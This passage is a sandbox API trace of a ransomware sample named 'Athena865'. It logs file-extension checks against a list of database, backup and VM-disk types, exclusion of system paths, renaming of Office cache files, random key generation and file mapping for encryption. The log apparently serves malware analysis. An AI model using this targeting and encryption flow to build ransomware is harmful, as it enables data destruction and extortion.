(lpString="dbs") returned 3 [0056.453] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0056.453] lstrlenW (lpString="dbt") returned 3 [0056.453] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0056.454] lstrlenW (lpString="dbv") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0056.454] lstrlenW (lpString="dbx") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0056.454] lstrlenW (lpString="dcb") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0056.454] lstrlenW (lpString="dct") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0056.454] lstrlenW (lpString="dcx") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0056.454] lstrlenW (lpString="ddl") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0056.454] lstrlenW (lpString="dlis") returned 4 [0056.454] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0056.454] lstrlenW (lpString="dp1") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0056.454] lstrlenW (lpString="dqy") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0056.454] lstrlenW (lpString="dsk") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0056.454] lstrlenW (lpString="dsn") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0056.454] lstrlenW (lpString="dtsx") returned 4 [0056.454] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0056.454] lstrlenW (lpString="dxl") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0056.454] lstrlenW (lpString="eco") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0056.454] lstrlenW (lpString="ecx") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0056.454] lstrlenW (lpString="edb") returned 3 [0056.454] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0056.455] lstrlenW (lpString="epim") returned 4 [0056.455] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0056.455] lstrlenW (lpString="fcd") returned 3 [0056.455] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0056.455] lstrlenW (lpString="fdb") returned 3 [0056.455] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0056.455] lstrlenW (lpString="fic") returned 3 [0056.455] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0056.455] lstrlenW (lpString="flexolibrary") returned 12 [0056.455] lstrcmpiW (lpString1="ice32MUI.msi", lpString2="flexolibrary") returned 1 [0056.455] lstrlenW (lpString="fm5") returned 3 [0056.455] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0056.455] lstrlenW (lpString="fmp") returned 3 [0056.455] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0056.455] lstrlenW (lpString="fmp12") returned 5 [0056.455] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0056.455] lstrlenW (lpString="fmpsl") returned 5 [0056.455] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0056.455] lstrlenW (lpString="fol") returned 3 [0056.455] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0056.455] lstrlenW (lpString="fp3") returned 3 [0056.455] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0056.455] lstrlenW (lpString="fp4") returned 3 [0056.455] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0056.455] lstrlenW (lpString="fp5") returned 3 [0056.455] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0056.455] lstrlenW (lpString="fp7") returned 3 [0056.455] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0056.455] lstrlenW (lpString="fpt") returned 3 [0056.455] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0056.455] lstrlenW (lpString="frm") returned 3 [0056.455] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0056.455] lstrlenW (lpString="gdb") returned 3 [0056.456] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0056.456] lstrlenW (lpString="gdb") returned 3 [0056.456] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0056.456] lstrlenW (lpString="grdb") returned 4 [0056.456] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0056.456] lstrlenW (lpString="gwi") returned 3 [0056.456] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0056.456] lstrlenW (lpString="hdb") returned 3 [0056.456] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0056.456] lstrlenW (lpString="his") returned 3 [0056.456] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0056.456] lstrlenW (lpString="ib") returned 2 [0056.456] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0056.456] lstrlenW (lpString="idb") returned 3 [0056.456] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0056.456] lstrlenW (lpString="ihx") returned 3 [0056.456] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0056.456] lstrlenW (lpString="itdb") returned 4 [0056.456] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0056.456] lstrlenW (lpString="itw") returned 3 [0056.456] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0056.456] lstrlenW (lpString="jet") returned 3 [0056.456] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0056.456] lstrlenW (lpString="jtx") returned 3 [0056.456] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0056.456] lstrlenW (lpString="kdb") returned 3 [0056.456] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0056.456] lstrlenW (lpString="kexi") returned 4 [0056.456] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0056.456] lstrlenW (lpString="kexic") returned 5 [0056.456] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0056.456] lstrlenW (lpString="kexis") returned 5 [0056.456] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0056.457] lstrlenW (lpString="lgc") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0056.457] lstrlenW (lpString="lwx") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0056.457] lstrlenW (lpString="maf") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0056.457] lstrlenW (lpString="maq") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0056.457] lstrlenW (lpString="mar") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0056.457] lstrlenW (lpString="marshal") returned 7 [0056.457] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0056.457] lstrlenW (lpString="mas") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0056.457] lstrlenW (lpString="mav") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0056.457] lstrlenW (lpString="maw") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0056.457] lstrlenW (lpString="mdbhtml") returned 7 [0056.457] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0056.457] lstrlenW (lpString="mdn") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0056.457] lstrlenW (lpString="mdt") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0056.457] lstrlenW (lpString="mfd") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0056.457] lstrlenW (lpString="mpd") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0056.457] lstrlenW (lpString="mrg") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0056.457] lstrlenW (lpString="mud") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0056.457] lstrlenW (lpString="mwb") returned 3 [0056.457] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0056.457] lstrlenW (lpString="myd") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0056.458] lstrlenW (lpString="ndf") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0056.458] lstrlenW (lpString="nnt") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0056.458] lstrlenW (lpString="nrmlib") returned 6 [0056.458] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0056.458] lstrlenW (lpString="ns2") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0056.458] lstrlenW (lpString="ns3") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0056.458] lstrlenW (lpString="ns4") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0056.458] lstrlenW (lpString="nsf") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0056.458] lstrlenW (lpString="nv") returned 2 [0056.458] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0056.458] lstrlenW (lpString="nv2") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0056.458] lstrlenW (lpString="nwdb") returned 4 [0056.458] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0056.458] lstrlenW (lpString="nyf") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0056.458] lstrlenW (lpString="odb") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0056.458] lstrlenW (lpString="odb") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0056.458] lstrlenW (lpString="oqy") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0056.458] lstrlenW (lpString="ora") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0056.458] lstrlenW (lpString="orx") returned 3 [0056.458] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0056.458] lstrlenW (lpString="owc") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0056.459] lstrlenW (lpString="p96") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0056.459] lstrlenW (lpString="p97") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0056.459] lstrlenW (lpString="pan") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0056.459] lstrlenW (lpString="pdb") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0056.459] lstrlenW (lpString="pdm") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0056.459] lstrlenW (lpString="pnz") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0056.459] lstrlenW (lpString="qry") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0056.459] lstrlenW (lpString="qvd") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0056.459] lstrlenW (lpString="rbf") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0056.459] lstrlenW (lpString="rctd") returned 4 [0056.459] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0056.459] lstrlenW (lpString="rod") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0056.459] lstrlenW (lpString="rodx") returned 4 [0056.459] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0056.459] lstrlenW (lpString="rpd") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0056.459] lstrlenW (lpString="rsd") returned 3 [0056.459] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0056.459] lstrlenW (lpString="sas7bdat") returned 8 [0056.459] lstrcmpiW (lpString1="2MUI.msi", lpString2="sas7bdat") returned -1 [0056.459] lstrlenW (lpString="sbf") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0056.460] lstrlenW (lpString="scx") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0056.460] lstrlenW (lpString="sdb") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0056.460] lstrlenW (lpString="sdc") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0056.460] lstrlenW (lpString="sdf") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0056.460] lstrlenW (lpString="sis") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0056.460] lstrlenW (lpString="spq") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0056.460] lstrlenW (lpString="te") returned 2 [0056.460] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0056.460] lstrlenW (lpString="teacher") returned 7 [0056.460] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0056.460] lstrlenW (lpString="tmd") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0056.460] lstrlenW (lpString="tps") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0056.460] lstrlenW (lpString="trc") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0056.460] lstrlenW (lpString="trc") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0056.460] lstrlenW (lpString="trm") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0056.460] lstrlenW (lpString="udb") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0056.460] lstrlenW (lpString="udl") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0056.460] lstrlenW (lpString="usr") returned 3 [0056.460] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0056.460] lstrlenW (lpString="v12") returned 3 [0056.461] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0056.461] lstrlenW (lpString="vis") returned 3 [0056.461] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0056.461] lstrlenW (lpString="vpd") returned 3 [0056.461] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0056.461] lstrlenW (lpString="vvv") returned 3 [0056.461] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0056.461] lstrlenW (lpString="wdb") returned 3 [0056.461] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0056.461] lstrlenW (lpString="wmdb") returned 4 [0056.461] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0056.461] lstrlenW (lpString="wrk") returned 3 [0056.461] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0056.461] lstrlenW (lpString="xdb") returned 3 [0056.461] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0056.461] lstrlenW (lpString="xld") returned 3 [0056.461] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0056.461] lstrlenW (lpString="xmlff") returned 5 [0056.461] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0056.461] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.Athena865") returned 88 [0056.461] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.athena865"), dwFlags=0x1) returned 1 [0056.462] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0056.462] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=873984) returned 1 [0056.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0056.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0056.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0056.462] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0056.463] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0056.463] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0056.463] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd5900, lpName=0x0) returned 0x17c [0056.465] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd5900) returned 0x2d50000 [0056.503] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0056.504] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0056.504] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0056.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0056.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0056.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0056.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0056.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0056.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0056.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0056.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0056.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0056.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0056.504] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0056.512] CloseHandle (hObject=0x17c) returned 1 [0056.512] CloseHandle (hObject=0x154) returned 1 [0056.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0056.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0056.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0056.516] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2=".") returned 1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="..") returned 1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="windows") returned -1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="bootmgr") returned 1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="temp") returned -1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="pagefile.sys") returned -1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="boot") returned 1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="ids.txt") returned 1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="ntuser.dat") returned 1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="perflogs") returned -1 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="MSBuild") returned 1 [0056.516] lstrlenW (lpString="Office32MUI.xml") returned 15 [0056.516] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Office32MUI.xml" | out: lpString1="Office32MUI.xml") returned="Office32MUI.xml" [0056.516] lstrlenW (lpString="Office32MUI.xml") returned 15 [0056.516] lstrlenW (lpString="Athena865") returned 9 [0056.516] lstrcmpiW (lpString1="32MUI.xml", lpString2="Athena865") returned -1 [0056.516] lstrlenW (lpString=".dll") returned 4 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2=".dll") returned 1 [0056.516] lstrlenW (lpString=".lnk") returned 4 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2=".lnk") returned 1 [0056.516] lstrlenW (lpString=".ini") returned 4 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2=".ini") returned 1 [0056.516] lstrlenW (lpString=".sys") returned 4 [0056.516] lstrcmpiW (lpString1="Office32MUI.xml", lpString2=".sys") returned 1 [0056.517] lstrlenW (lpString="Office32MUI.xml") returned 15 [0056.517] lstrlenW (lpString="bak") returned 3 [0056.517] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0056.517] lstrlenW (lpString="ba_") returned 3 [0056.517] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0056.517] lstrlenW (lpString="dbb") returned 3 [0056.517] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0056.517] lstrlenW (lpString="vmdk") returned 4 [0056.517] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0056.517] lstrlenW (lpString="rar") returned 3 [0056.517] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0056.517] lstrlenW (lpString="zip") returned 3 [0056.517] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0056.517] lstrlenW (lpString="tgz") returned 3 [0056.517] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0056.517] lstrlenW (lpString="vbox") returned 4 [0056.517] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0056.517] lstrlenW (lpString="vdi") returned 3 [0056.517] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0056.517] lstrlenW (lpString="vhd") returned 3 [0056.517] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0056.517] lstrlenW (lpString="vhdx") returned 4 [0056.517] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0056.517] lstrlenW (lpString="avhd") returned 4 [0056.517] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0056.517] lstrlenW (lpString="db") returned 2 [0056.517] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0056.517] lstrlenW (lpString="db2") returned 3 [0056.517] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0056.517] lstrlenW (lpString="db3") returned 3 [0056.517] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0056.517] lstrlenW (lpString="dbf") returned 3 [0056.517] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0056.517] lstrlenW (lpString="mdf") returned 3 [0056.517] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0056.517] lstrlenW (lpString="mdb") returned 3 [0056.518] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0056.518] lstrlenW (lpString="sql") returned 3 [0056.518] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0056.518] lstrlenW (lpString="sqlite") returned 6 [0056.518] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0056.518] lstrlenW (lpString="sqlite3") returned 7 [0056.518] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0056.518] lstrlenW (lpString="sqlitedb") returned 8 [0056.518] lstrcmpiW (lpString1="2MUI.xml", lpString2="sqlitedb") returned -1 [0056.518] lstrlenW (lpString="xml") returned 3 [0056.518] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0056.518] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.Athena865") returned 88 [0056.518] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.athena865"), dwFlags=0x1) returned 1 [0056.519] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0056.519] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1383) returned 1 [0056.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0056.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0056.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0056.519] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0056.520] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0056.520] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0056.520] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x870, lpName=0x0) returned 0x17c [0056.521] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x870) returned 0x100000 [0056.522] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0056.523] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0056.523] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0056.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0056.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0056.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0056.523] RtlAllocateHeap 